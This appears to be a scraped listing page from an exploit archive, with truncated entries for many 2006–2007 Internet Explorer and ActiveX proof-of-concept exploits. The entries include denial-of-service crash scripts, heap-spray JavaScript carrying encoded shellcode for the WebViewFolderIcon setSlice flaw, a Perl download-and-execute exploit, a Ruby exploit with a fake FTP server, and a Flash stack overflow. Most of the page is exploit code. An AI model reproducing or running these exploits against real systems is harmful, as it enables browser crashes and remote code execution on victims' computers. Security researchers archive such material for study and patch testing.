[Full-disclosure] MS07-042 XMLDOM substringData() PoC

This bit of JavaScript kills IE 6 on Windows 2000 and Windows XP SP2 var xmlDoc = new ActiveXObject"Microsoft.XMLDOM"; xmlDoc.loadXML"dummy/dummy"; var txt = xmlDoc.createTextNode"huh"; var out = txt.substringData1,0x7fffffff; Installing the patch from MS07-042 fixes it. Cheers, Alla Bezroutchko...

MOAB-03-01-2007.rb.txt

!/usr/bin/ruby c 2006 LMH Original scripting and POC by Aviv Raff http://aviv.raffon.net. Description: Exploit for MOAB-03-01-2007. If argument 'serve' is passed, it uses port 21 for running the fake FTP server required. HTTP server port can be modified but it's not recommended. Adjust as...

MS Internet Explorer (ADODB Execute) Denial of Service PoC

No description provided by source. !-- // Internet Explorer 'ADODB.Connection' object 'Execute' Function Vulnerability POC // tested on Windows XP SP1/XP SP2, IE 6.0 with latest patches installed // Author: YAG KOHHA skyhole at gmail.com // Greetz: H D Moor, Dark Eagle, str0ke, Maxus, Fuchunic,...

MS Internet Explorer (ADODB Execute) Denial of Service PoC

Exploit for unknown platform in category dos / poc ========================================================== MS Internet Explorer ADODB Execute Denial of Service PoC ========================================================== ADODB.Connection.Execute CRASH TEST function BangBang var a = new...

MS Internet Explorer WebViewFolderIcon setSlice() Exploit (pl)

No description provided by source. !/usr/bin/perl Microsoft Internet Explorer WebViewFolderIcon setSlice D0wnLoad & Exec POC Author: Vampyroteuthis Infernalis skyhole at gmail.com Greetz: H D Moor, Dark Eagle, Jamikazu use strict; my $sco =...

MS Internet Explorer WebViewFolderIcon setSlice() Exploit (c)

No description provided by source. / ----------------------------------------------------------------------- Microsoft Internet Explorer WebViewFolderIcon setSlice Exploit 0day Works on all Windows XP versions including SP2 Author: LukeHack Mail: [email protected] Bug discovered by Computer ...

Microsoft Internet Explorer - WebViewFolderIcon setSlice() (1)

Microsoft Internet Explorer - WebViewFolderIcon setSlice 1 !/usr/bin/perl Microsoft Internet Explorer WebViewFolderIcon setSlice D0wnLoad & Exec POC Author: Vampyroteuthis Infernalis Greetz: H D Moor, Dark Eagle, Jamikazu use strict; my $sco =...

Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)

var heapSprayToAddress = 0x05050505; var payLoadCode = unescape "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" + "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +...

Microsoft Internet Explorer - WebViewFolderIcon setSlice() (HTML)

Microsoft Internet Explorer - WebViewFolderIcon setSlice HTML var heapSprayToAddress = 0x05050505; var payLoadCode = unescape "%u9090%u9090%uE8FC%u0044%u0000%u458B%u8B3C%u057C%u0178%u8BEF%u184F%u5F8B%u0120" + "%u49EB%u348B%u018B%u31EE%u99C0%u84AC%u74C0%uC107%u0DCA%uC201%uF4EB%u543B%u0424" +...

MS Internet Explorer Multiple COM Object Color Property DoS

No description provided by source. !-- // Internet Explorer Multiple COM Object Color Property DoS Vulnerability // tested on Windows 2000 SP4/XP SP2 // http://www.xsec.org // nop nopxsec.org --! html head title/title /head /body script var i =0; var Objects = new Array // CLSID:...

ShockwaveFlash 9 (Stack overflow)

!-- Credits : MarjinZ -- script var a = new ActiveXObject'ShockwaveFlash.ShockwaveFlash.9'; var c = 'ftp://'; var b = 'A'; while b.length = 51512512 b+=b; a.AllowScriptAccess = c+b; /script...

Microsoft Internet Explorer 6 - NMSA.ASFSourceMediaDescription Stack Overflow

Microsoft Internet Explorer 6 - NMSA.ASFSourceMediaDescription Stack Overflow source: https://www.securityfocus.com/bid/19114/info Microsoft Internet Explorer is prone to a stack-overflow vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website...

Microsoft Internet Explorer 6 - NMSA.ASFSourceMediaDescription Stack Overflow

source: https://www.securityfocus.com/bid/19114/info Microsoft Internet Explorer is prone to a stack-overflow vulnerability. This issue is triggered when an attacker convinces a victim user to visit a malicious website. Remote attackers may exploit this issue to crash Internet Explorer, effective...

Microsoft Internet Explorer 6 - Multiple Object ListWidth Property Denial of Service Vulnerabilities

Microsoft Internet Explorer 6 - Multiple Object ListWidth Property Denial of Service Vulnerabilities source: https://www.securityfocus.com/bid/19113/info Microsoft Internet Explorer is prone to a denial-of-service vulnerability. This issue is triggered when an attacker convinces a victim user to...

Microsoft Internet Explorer 6 - DataSourceControl Denial of Service

Microsoft Internet Explorer 6 - DataSourceControl Denial of Service source: https://www.securityfocus.com/bid/19069/info Internet Explorer is prone to a denial-of-service vulnerability. An attacker can exploit this vulnerability to crash Internet Explorer and deny service to users. Internet...

Microsoft Internet Explorer 6 - DataSourceControl Denial of Service

source: https://www.securityfocus.com/bid/19069/info Internet Explorer is prone to a denial-of-service vulnerability. An attacker can exploit this vulnerability to crash Internet Explorer and deny service to users. Internet Explorer 6 SP2 is prone to this issue; other versions may also be...

msie-heap.txt

// MoBB Demonstration function Demo var a = new ActiveXObject"Internet.HHCtrl.1"; var b = unescape"XXXX"; while b.length Clicking the button below may crash your browser!...

Microsoft Internet Explorer 6 - Internet.HHCtrl Heap Overflow

Microsoft Internet Explorer 6 - Internet.HHCtrl Heap Overflow // MoBB Demonstration function Demo var a = new ActiveXObject"Internet.HHCtrl.1"; var b = unescape"XXXX"; while b.length Clicking the button below may crash your browser! milw0rm.com 2006-07-07...

Microsoft Internet Explorer 6 - 'Internet.HHCtrl' Heap Overflow

// MoBB Demonstration function Demo var a = new ActiveXObject"Internet.HHCtrl.1"; var b = unescape"XXXX"; while b.length Clicking the button below may crash your browser! milw0rm.com 2006-07-07...

MediaPlayer+IE6 the latest vulnerability of the simple research-vulnerability warning-the black bar safety net

This vulnerability only IE6. 0 and above versions. Because from IE6 began to support something like the following java script:window. open"http://ip/";,"media"; The main problem out here. All of the following code are in XP+WMP8. 0+IE6. 0 1+IIS6. 0 environment test pass. Wherein xp and IE by...